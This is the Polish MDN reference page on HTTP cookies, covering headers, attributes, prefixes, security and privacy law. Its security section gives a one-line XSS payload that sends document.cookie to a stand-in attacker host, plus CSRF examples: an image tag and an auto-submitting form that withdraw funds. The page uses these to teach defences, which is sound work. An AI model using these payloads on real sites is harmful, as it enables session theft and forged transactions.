path: root/files/pl/web/http/cookies/index.html

---
title: Ciasteczka HTTP
slug: Web/HTTP/Cookies
tags:
  - aplikacje internetowe
  - ciasteczka
  - ciasteczka artykuł
  - dane
  - pamięć przeglądarki
  - pliki cookie
  - protokoły
  - prywatność
  - przeglądarka
  - serwer
  - śledzenie
  - żądania HTTP
translation_of: Web/HTTP/Cookies
original_slug: Web/HTTP/Ciasteczka
---
<p>{{HTTPSidebar}}</p>

<p class="summary"><span class="seoSummary">Ciasteczka HTTP (pliki cookie) to niewielkie obiekty danych, które serwer wysyła do przeglądarki internetowej użytkownika. Przeglądarka może je przechowywać i wysyłać ponownie do tego samego serwera wraz z kolejnym żądaniem.</span> Przeważnie są używane do określenia czy dwa żądania zostały nadane z tej samej przeglądarki, np. aby użytkownik pozostał zalogowany. Są sposobem na zapamiętanie informacji o stanie sesji pomimo bezstanowej natury protokołu HTTP.</p>

<p>Główne zastosowania ciasteczek:</p>

<dl>
 <dt>Zarządzanie sesją</dt>
 <dd>Loginy, koszyki sklepów internetowych, rezultaty w grach i wszystko inne o czym powinien pamiętać serwer</dd>
 <dt>Personalizacja</dt>
 <dd>Preferencje użytkownika, motywy i inne ustawienia</dd>
 <dt>Śledzenie</dt>
 <dd>Zapisywanie i analiza zachowania użytkownika</dd>
</dl>

<p>Ciasteczka wykorzystywano kiedyś do przechowywania wszelkiego rodzaju plików po stronie klienta. Było to uzasadnione w czasach, gdy brakowało alternatywnych rozwiązań. Aktualnie zaleca się stosowanie nowoczesnych API do zapamiętywania danych. Ciasteczka są wysyłane wraz z każdym żądaniem, więc mogą spowodować pogorszenie wydajności (szczególnie dla połączeń mobilnych). Nowoczesne API do przechowywania plików to <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> i <code>sessionStorage</code>) oraz <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>

<div class="note">
<p>Aby podejrzeć przechowywane ciasteczka (lub inne pamięci, z których mogą korzystać strony internetowe) należy wejść w zakładkę <a href="/pl/docs/Narzędzia/Storage_Inspector">Dane</a> w narzędziach dla programistów dostępnych w przeglądarce.</p>
</div>

<h2 id="Tworzenie_ciasteczek">Tworzenie ciasteczek</h2>

<p>Otrzymując żądanie HTTP serwer może wysłać wraz z odpowiedzią nagłówek <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a>. Ciasteczko jest zazwyczaj przechowywane przez przeglądarkę, by następnie zostać wysłane wraz z żądaniami do tego samego serwera jako wartość nagłówka <a href="/pl/docs/Web/HTTP/Headers/Cookie">Cookie</a>. Istnieje opcja ustawienia daty wygaśnięcia lub czasu trwania, po których ciasteczko nie będzie wysyłane. Dodatkowo można ustawić ograniczenia dla konkretnej domeny lub ścieżki, aby dla wartości innych niż podane nie przesyłać ciasteczka.</p>

<h3 id="Nagłówki_Set-Cookie_i_Cookie">Nagłówki <code>Set-Cookie</code> i <code>Cookie</code></h3>

<p>Nagłówek <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> jest zawarty w odpowiedzi serwera na żądanie HTTP agenta użytkownika (np. przeglądarki). Przykładowo:</p>

<pre class="syntaxbox">Set-Cookie: &lt;nazwa-ciasteczka&gt;=&lt;wartość-ciasteczka&gt;</pre>

<p>Ten nagłówek nadany przez serwer informuje klienta, że należy zapisać ciasteczko.</p>

<div class="note"><strong>Uwaga:</strong> W odnośnikach znajdują się przykłady użycia nagłówka <code>Set-Cookie</code> w różnych aplikacjach uruchamianych po stronie serwera:

<ul>
 <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li>
 <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li>
 <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li>
 <li><a href="https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li>
</ul>
</div>

<pre>HTTP/2.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]</pre>

<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Teraz z każdym kolejnym żądaniem do serwera, używając nagłówka <a href="/pl/docs/Web/HTTP/Headers/Cookie">Cookie</a>, przeglądarka będzie wysyłać także wszystkie przechowywane ciasteczka.</p>

<pre>GET /sample_page.html HTTP/2.0
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre>

<h3 id="Ciasteczka_sesyjne">Ciasteczka sesyjne</h3>

<p>Ciasteczko stworzone w poprzedniej sekcji jest <em>ciasteczkiem sesyjnym</em>: zostaje usunięte wraz z wyłączeniem klienta, ponieważ nie użyto dyrektyw <code>Expires</code> lub <code>Max-Age</code>. Jednakże przeglądarki mogą użyć mechanizmu <strong>przywracania sesji</strong>, który zmienia większość ciasteczek sesyjnych w trwałe, tak jakby przeglądarka nie została nigdy zamknięta.</p>

<h3 id="Ciasteczka_trwałe">Ciasteczka trwałe</h3>

<p>Zamiast wygasnąć po wyłączeniu klienta, <em>trwałe ciasteczka</em> wygasają w konkretnym terminie (<code>Expires</code>) lub po określonym czasie (<code>Max-Age</code>).</p>

<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>

<div class="note">
<p><strong>Uwaga</strong>: Ustawiając termin wygaśnięcia, czas i data są określane w odniesieniu do klienta, który zapisuje ciasteczko, nie w odniesieniu do serwera.</p>
</div>

<h3 id="Ciasteczka_Secure_i_HttpOnly"><a name="ciasteczka_secure_i_httponly">Ciasteczka <code>Secure</code> i <code>HttpOnly</code></a></h3>

<p>Bezpieczne ciasteczko może być wysłane do serwera tylko i wyłącznie zaszyfrowanym żądaniem protokołu HTTPS. Nawet używając dyrektywy <code>Secure</code>, poufne dane <em>nigdy</em> nie powinny być przechowywane w ciasteczkach, ponieważ nie są one bezpieczne, a ta flaga nie może zaoferować dostatecznej ochrony. Zaczynając od przeglądarek Chrome 52 i Firefox 52, niepewne strony (<code>http:</code>) nie mają możliwości ustawiania ciasteczek z dyrektywą <code>Secure</code>.</p>

<p>Aby ograniczać możliwości przeprowadzenia ataku cross-site scripting ({{Glossary("XSS")}}), ciasteczka <code>HttpOnly</code> są niedostępnie dla JavaScript'owego {{domxref("Document.cookie")}} API; można je tylko wysyłać do serwera. Przykładowo, ciasteczka utrzymujące sesję po stronie serwera nie muszą być dostępne dla JavaScript'u, więc flaga <code>HttpOnly</code> powinna być ustawiona.</p>

<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>

<h3 id="Zakres_ciasteczek">Zakres ciasteczek</h3>

<p>Dyrektywy <code>Domain</code> i <code>Path</code> definiują <em>zakres</em> ciasteczka: do jakich adresów URL ciasteczka powinny być wysyłane.</p>

<p><code>Domain</code> określa dozwolone hosty sieciowe. Jeżeli nie jest ustawiona to domyślną wartością jest <a href="/en-US/docs/Web/API/Document/location">host aktualnej lokalizacji dokumentu</a>, <strong>z pominięciem subdomen.</strong> Jeżeli dyrektywa <code>Domain</code> <em>jest</em> określona to subdomeny zawsze są uwzględnione.</p>

<p>Przykładowo, jeżeli ustawiono <code>Domain=mozilla.org</code>, to ciasteczka są uwzględnione także dla subdomen takich jak <code>developer.mozilla.org</code>.</p>

<p><code>Path</code> oznacza, że podana ścieżka URL musi być zawarta w żądanym adresie URL aby wysłać nagłówek <code>Cookie</code>. Znak %x2F ("/") jest uznawany za separator katalogu, a wszystkie podkatalogi także spełniają warunek.</p>

<p>Jeżeli ustawiono <code>Path=/docs</code>, to następujące przykładowe ścieżki będą pasować:</p>

<ul>
 <li><code>/docs</code></li>
 <li><code>/docs/Web/</code></li>
 <li><code>/docs/Web/HTTP</code></li>
</ul>

<h3 id="Ciasteczka_SameSite_experimental_inline"><a id="ciasteczka_samesite" name="ciasteczka_samesite"></a>Ciasteczka <code>SameSite</code> {{experimental_inline}}</h3>

<p>Ciasteczka <code>SameSite</code> pozwalają serwerom wymagać, aby nie były one przesyłane żądaniami pomiędzy stronami internetowymi (gdzie {{Glossary("Site")}} jest zdefiniowane jako rejestrowalna domena), co zapewnia pewną ochronę od ataków <em>Cross-Site Request Forgery</em> ({{Glossary("CSRF")}}).</p>

<p>Ciasteczka <code>SameSite</code> są relatywnie nowe, ale <a href="/en-US/docs/Web/HTTP/headers/Set-Cookie#Browser_compatibility">wspierane przez wszystkie główne przeglądarki internetowe</a>.</p>

<p>Przykładowo:</p>

<pre>Set-Cookie: nazwa=wartość; SameSite=Strict</pre>

<p>Atrybut <code>SameSite</code> może przyjmować jedną z trzech wartości (<span class="tlid-translation translation" lang="pl"><span title="">bez rozróżniania wielkości liter</span></span>):</p>

<dl>
 <dt><code>None</code></dt>
 <dd>Przeglądarka będzie wysyłać ciasteczka zarówno żądaniami pomiędzy stronami (<em>cross-site</em>) jak i żądaniami odnoszącymi się do aktualnej strony (<em>same-site</em>).</dd>
 <dt><code>Strict</code></dt>
 <dd>Przeglądarka będzie wysyłać ciasteczka tylko żądaniami <em>same-site</em> (pochodzącymi z witryny, która ustawia ciasteczko). Jeżeli żądanie nie pochodzi z adresu URL aktualnej lokacji to żadne z ciasteczek oznaczonych atrybutem <code>Strict</code> nie zostanie przesłane.</dd>
 <dt><code>Lax</code></dt>
 <dd>Ciasteczka <code>SameSite</code> są wstrzymywane przy żądaniach, które wywołują ładowanie obrazów lub ramek z innych stron. Będą jednak wysłane, gdy użytkownik przechodzi do adresu URL z zewnętrznej strony, np. poprzez kliknięcie w link.</dd>
</dl>

<div class="blockIndicator note">
<p>Przeglądarki decydują się na <a href="https://www.chromestatus.com/feature/5088147346030592">domyślne ustawianie <code>SameSite=Lax</code></a>. Jeżeli istnieje potrzeba wysyła ciasteczka pomiędzy różnymi źródłami (<em>cross-origin</em>), należy zrezygnować z zabezpieczenia SameSite używając wartości <code>None</code> dla tej dyrektywy. Wymaga ona obecności atrybutu <a href="#ciasteczka_secure_i_httponly"><code>Secure</code></a>.</p>
</div>

<h3 id="Prefiksy_ciasteczek_experimental_inline">Prefiksy ciasteczek {{experimental_inline}}</h3>

<p>Konstrukcja mechanizmu działania ciasteczek uniemożliwia serwerowi otrzymanie potwierdzenia ustawienia ciasteczka dla bezpiecznego źródła, a nawet dowiedzenia się <em>gdzie</em> ciasteczko zostało pierwotnie ustawione.  Każda subdomena jak na przykład <code>application.example.com</code> może ustawić ciasteczko, które będzie wysyłane wraz z żądaniami do <code>example.com</code> lub do innych subdomen dzięki ustawieniu atrybutu <em>Domain</em>:</p>

<pre class="syntaxbox">Set-Cookie: CSRF=e8b667; Secure; Domain=example.com</pre>

<p>Jeżeli podatna aplikacja jest dostępna na subdomenie to ten mechanizm może być wykorzystany w ataku <em>session fixation.</em> Gdy użytkownik odwiedza stronę na głównej domenie (lub innej subdomenie), aplikacja może zaufać istniejącej wartości wysłanej w ciasteczku użytkownika. To może pozwolić atakującemu ominąć zabezpieczenie przed CSRF lub przejąć sesję po zalogowaniu się użytkownika.</p>

<p>Alternatywnie, jeżeli główna domena nie używa {{Glossary("HSTS")}} z ustawioną opcją <code>includeSubdomains</code>,  to użytkownikowi podlegającemu właśnie atakowi MitM (być może podłączonemu do otwartej sieci Wi-Fi) może zostać zwrócona odpowiedź na żądanie wraz z ustawionym nagłówkiem <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> z nieistniejącej subdomeny. Wynik końcowy byłby taki sam, ponieważ przeglądarka przechowywałaby nielegalny plik cookie i wysyłałaby go na wszystkie inne strony w domenie <code>example.com</code>.</p>

<p>Aby ograniczyć możliwości przeprowadzenia ataku <em>session fixation</em> <span class="tlid-translation translation" lang="pl"><span title="">powinno się przede wszystkim ponownie generować wartości ciasteczka sesyjnego gdy użytkownik się uwierzytelnia (nawet jeśli ciasteczko już istnieje) i dokonywać powiązania tokena CSRF z użytkownikiem.</span> <span title="">W ramach silniejszej obrony możliwe jest użycie <em>prefiksów ciasteczek</em> w celu potwierdzenia pewnych faktów na temat samych ciasteczek.</span> <span title="">Dostępne są dwa prefiksy:</span></span></p>

<dl>
 <dt><code>__Host-</code></dt>
 <dd>Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> oznaczoną jako <code>Secure</code>, wysłaną z bezpiecznego źródła (HTTPS), <em>nie</em> posiadającą atrybutu <code>Domain</code> i mającą atrybut <code>Path</code> o wartości <code>/</code>. Tym sposobem ciasteczka mogą być widoczne jako "domain-locked".</dd>
 <dt><code>__Secure-</code></dt>
 <dd>Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> oznaczoną jako <code>Secure</code> i wysłaną z bezpiecznego źródła (HTTPS). Jest to słabsze zabezpieczenie niż prefiks <code>__Host-</code>.</dd>
</dl>

<p>Ciasteczka niespełniające kryteriów zostaną odrzucone przez przeglądarkę. Zapewnia to, że gdyby subdomena spróbowała stworzyć takie ciasteczko, to zostanie ono ograniczone do subdomeny lub całkowicie zignorowane. Podczas określania, czy użytkownik jest uwierzytelniony lub czy token CSRF jest poprawny, serwer aplikacji sprawdza tylko ciasteczka o określonych nazwach. Dzięki temu mechanizm prefiksów efektywnie działa jako obrona przed <em>session fixation.</em></p>

<div class="note">
<p>Aplikacja będąca serwerem <em>musi</em> sprawdzić ciasteczko o pełnej nazwie uwzględniającej prefiks. Dlatego agent użytkownika aplikacji <em>nie</em> wytnie prefiksu przed wysłaniem ciasteczka w nagłówku {{HTTPHeader("Cookie")}}.</p>
</div>

<p>Aby uzyskać więcej informacji o prefiksach ciasteczek i aktualnym stanie wspieralności tego rozwiązania przez przeglądarki odwiedź <a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie#Cookie_prefixes">sekcję Set-Cookie</a>.</p>

<h3 id="Dostęp_JavaScript_za_pomocą_Document.cookie">Dostęp JavaScript za pomocą <code>Document.cookie</code></h3>

<p>Nowe ciasteczka mogą być tworzone z użyciem JavaScriptu poprzez użycie właściwości {{domxref("Document.cookie")}}, a jeżeli flaga <code>HttpOnly</code> nie jest ustawiona, to także istniejące ciasteczka są dostępne.</p>

<pre class="brush: js">document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>

<p>Ciasteczka stworzone z użyciem JavaScriptu nie mogą zawierać flagi <code>HttpOnly</code>.</p>

<p>Ciasteczka dostępne dla JavaScriptu są narażone na cyberataki. Więcej szczegółów znajduje się w poniższej sekcji<a href="/en-US/docs/Web/HTTP/Cookies#Security">.</a></p>

<h2 id="Bezpieczeństwo">Bezpieczeństwo</h2>

<div class="note">
<p>Należy zawsze pamiętać, że informacje przechowywane w ciasteczkach będą widoczne i mogą zostać zmodyfikowane przez użytkownika. W zależności od aplikacji, pożądane może być użycie nieprzejrzystego identyfikatora sprawdzanego po stronie serwera lub rozważenie alternatywnych mechanizmów uwierzytelniania/poufności takich jak JSON Web Tokens.</p>
</div>

<h3 id="Przejmowanie_sesji_i_XSS">Przejmowanie sesji i XSS</h3>

<p>Ciasteczka są często używane w aplikacjach webowych do identyfikowania użytkownika i jego uwierzytelnionej sesji, więc kradzież ciasteczka może prowadzić do jej przejęcia. Powszechnymi sposobami kradzieży ciasteczek są inżynieria społeczna i wykorzystywanie podatności XSS w aplikacjach.</p>

<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;</pre>

<p>Atrybut <code>HttpOnly</code> może pomóc uniknąć tego ataku poprzez zablokowanie JavaScriptowi dostępu do wartości ciasteczka.  Sposobem na złagodzenie skutków takiego ataku jest wdrożenie surowej <a href="/en-US/docs/Web/HTTP/CSP">polityki bezpieczeństwa treści (<em>CSP</em>)</a>.</p>

<h3 id="Cross-site_request_forgery_CSRF">Cross-site request forgery (CSRF)</h3>

<p>Na stronie <a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedii</a> znajduje się dobry przykład {{Glossary("CSRF")}}. W tej sytuacji ktoś załączył element "img", który tak na prawdę nie jest obrazem (np. na niefiltrowanym czacie lub forum), a zamiast tego jest żądaniem do serwera banku użytkownika mającym na celu wypłatę pieniędzy:</p>

<pre class="brush: html">&lt;img src="https://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>

<p>Jeżeli jesteś aktualnie zalogowany na swoim koncie bankowym i odpowiadające ciasteczka są dalej aktualne (i nie ma żadnej dodatkowej walidacji), to próba załadowania "obrazka" zakończy się przelewem pieniędzy. Dla punktów końcowych wymagających żądania POST jest możliwe aby  programowo wykonać potwierdzenie formularza (być może zawartego w niewidzialnym elemencie <code>&lt;iframe&gt;</code>) gdy strona jest ładowana:</p>

<pre class="brush: html">&lt;form action="https://bank.example.com/withdraw" method="POST"&gt;
  &lt;input type="hidden" name="account" value="bob"&gt;
  &lt;input type="hidden" name="amount" value="1000000"&gt;
  &lt;input type="hidden" name="for" value="mallory"&gt;
&lt;/form&gt;
&lt;script&gt;window.addEventListener('DOMContentLoaded', (e) =&gt; { document.querySelector('form').submit(); }&lt;/script&gt;
</pre>

<p>Jest kilka technik, których stosowanie powinno być używane do zapobiegania CSRF:</p>

<ul>
 <li>punkty końcowe GET powinny być idempotentne — akcje, które wprowadzają <em>zmianę </em>i nie mają na celu zwykłego pobrania danych powinny być wykonywane żądaniem POST (lub inną metodą HTTP). Punkty końcowe POST nie powinny dodatkowo obsługiwać żądań GET z parametrami query.</li>
 <li>Token CSRF powinien być zawarty w elementach <code>&lt;form&gt;</code> poprzez użycie niewidzialnego pola wejściowego <code>&lt;input type="hidden"&gt;</code>. Powinien on być unikalny dla każdego użytkownika i przechowywany (np. w ciasteczku) w sposób pozwalający serwerowi podejrzeć oczekiwną wartość w momencie odebrania żądania HTTP. Dla wszystkich nie-GET'owych żądań potencjalnie mogących wykonać jakąś akcję w systemie, ten token powinien być porównany z jego zapisaną wartością.  W przypadku niezgodności należy odrzucić takie żądanie.
  <ul>
   <li>Ta metoda zabezpieczania polega na tym, że atakujący nie jest w stanie przewidzieć jak wygląda otrzymany przez użytkownika token CSRF. Dodatkowo token powinien być generowany ponownie po każdym zalogowaniu się użytkownika.</li>
  </ul>
 </li>
 <li>Ciasteczka używane do wykonywania poufnych akcji (takie jak ciasteczka sesyjne) powinny mieć krótki czas życia i atrybut <code>SameSite</code> ustawiony na <code>Strict</code> lub <code>Lax</code>. (zobacz <a href="#ciasteczka_samesite">ciasteczka SameSite</a>). W przeglądarkach wspierających tę funkcjonalność, efektem będzie upewnienie się, że ciasteczko sesyjne <em>nie</em><em> </em>zostanie wysłane w żądaniach do innych stron, więc żądania te nie będą przez serwer aplikacji uwierzytelnione.</li>
 <li>Wdrożenie zarówno tokenów CSRF jak i ciasteczek <code>SameSite</code> zapewnia ochronę wszystkich przeglądarek nawet w przypadkach gdy ochrona mechanizmu <code>SameSite</code> nie może pomóc (np. gdy źródłem ataków jest oddzielna subdomena).</li>
 <li>Aby poznać inne metody zabezpieczające przed CSRF sprawdź <a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html">ściągawkę przygotowaną przez organizację OWASP</a>.</li>
</ul>

<h2 id="Śledzenie_i_prywatność">Śledzenie i prywatność</h2>

<h3 id="Ciasteczka_podmiotów_zewnętrznych_third-party_cookies">Ciasteczka podmiotów zewnętrznych (<em>third-party cookies</em>)</h3>

<p>Ciasteczka zawsze mają przyporządkowaną jakąś domenę. Jeżeli jest ona tą samą domeną co domena aktualnie odwiedzanej strony to nazywamy ciasteczko <em>własnym</em> (<em>first-party cookie</em>). W innym przypadku mówimy o ciasteczku <em>zewnętrznego podmiotu/witryny</em>. Podczas gdy ciasteczka własne są wysyłane tylko do serwerów, które je ustawiły, strona internetowa może zawierać obrazki lub inne komponenty przechowywane na serwerach w innych domenach (np. banery reklamowe). Takie ciasteczka są głównie używane do reklam i śledzenia. Dobrym przykładem są <a href="https://www.google.com/policies/technologies/types/">ciasteczka używane przez Google</a>. Większość przeglądarek domyślnie zezwala na działanie ciasteczek zewnętrznych podmiotów, ale istnieją dodatki blokujące je (np. <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> stworzony przez <a href="https://www.eff.org/">EFF</a>).</p>

<p>Jeżeli jako serwis internetowy nie ujawniasz faktu używania ciasteczek zewnętrznych podmiotów to zaufanie użytkowników może zostać nadszarpnięte, gdy się o tym dowiedzą. Wyraźna informacja (np. w polityce prywatności) zazwyczaj eliminuje wszelkie negatywne skutki ich obecności. Niektóre kraje mają także przepisy dotyczące ciasteczek. Zobacz na przykładzie <a href="https://wikimediafoundation.org/wiki/Cookie_statement">oświadczenia fundacji Wikimedia</a> o plikach cookie.</p>

<h3 id="Do-Not-Track">Do-Not-Track</h3>

<p>Nie ma prawnych lub technologicznych wymagań używania nagłówka <a href="/en-US/docs/Web/HTTP/Headers/DNT">DNT</a>, ale może on być użyty aby zasygnalizować, że aplikacja webowa powinna wyłączyć mechanizm śledzenia lub śledzenia poszczególnych użytkowników przez jednego użytkownika. Zobacz <a href="/en-US/docs/Web/HTTP/Headers/DNT">DNT</a> aby uzyskać więcej informacji.</p>

<h3 id="Dyrektywa_UE_ws._plików_cookie">Dyrektywa UE ws. plików cookie</h3>

<p>Wymagania dla ciasteczek w Unii Europejskiej są zdefiniowane w <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">dyrektywie 2009/136/EC</a> wydanej przez Parlament Europejski, która weszła w życie 25 maja 2011. Dyrektywa sama w sobie nie jest prawem, ale wymaganiem wprowadzenia prawa spełniającego jej wymagania przez państwa członkowskie. Prawo może różnić się w zależności od państwa.</p>

<p>W skrócie, dyrektywa wymusza na zarządzających stronami internetowymi uzyskanie świadomej zgody od użytkowników na przechowywanie i pobieranie jakiejkolwiek informacji dostępnej na komputerze, komórce czy innym urządzeniu, z którego korzystają. Od wprowadzenia nowego prawa wiele stron dodało banery informujące użytkowników o używaniu ciasteczek.</p>

<p>Aby dowiedzieć się więcej, sprawdź <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">artykuł na Wikipedii</a> oraz zdobądź informacje jak wygląda aktualne prawo w docelowym regionie.</p>

<h3 id="Ciasteczka_zombie_i_Evercookies">Ciasteczka zombie i  "Evercookies"</h3>

<p>Bardziej radykalnym podejściem do ciasteczek są ciasteczka zombie lub "Evercookies", które po usunięciu są w stanie odtworzyć się na nowo. Zostały zaprojektowane tak, aby ciężko było usunąć je na zawsze. W celu zapewnienia tej funkcjonalności implementacje używają m.in. <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> i Flash Local Shared Objects.</p>

<ul>
 <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li>
 <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li>
</ul>

<h2 id="Zobacz_także">Zobacz także</h2>

<ul>
 <li>{{HTTPHeader("Set-Cookie")}}</li>
 <li>{{HTTPHeader("Cookie")}}</li>
 <li>{{domxref("Document.cookie")}}</li>
 <li>{{domxref("Navigator.cookieEnabled")}}</li>
 <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li>
 <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li>
 <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li>
</ul>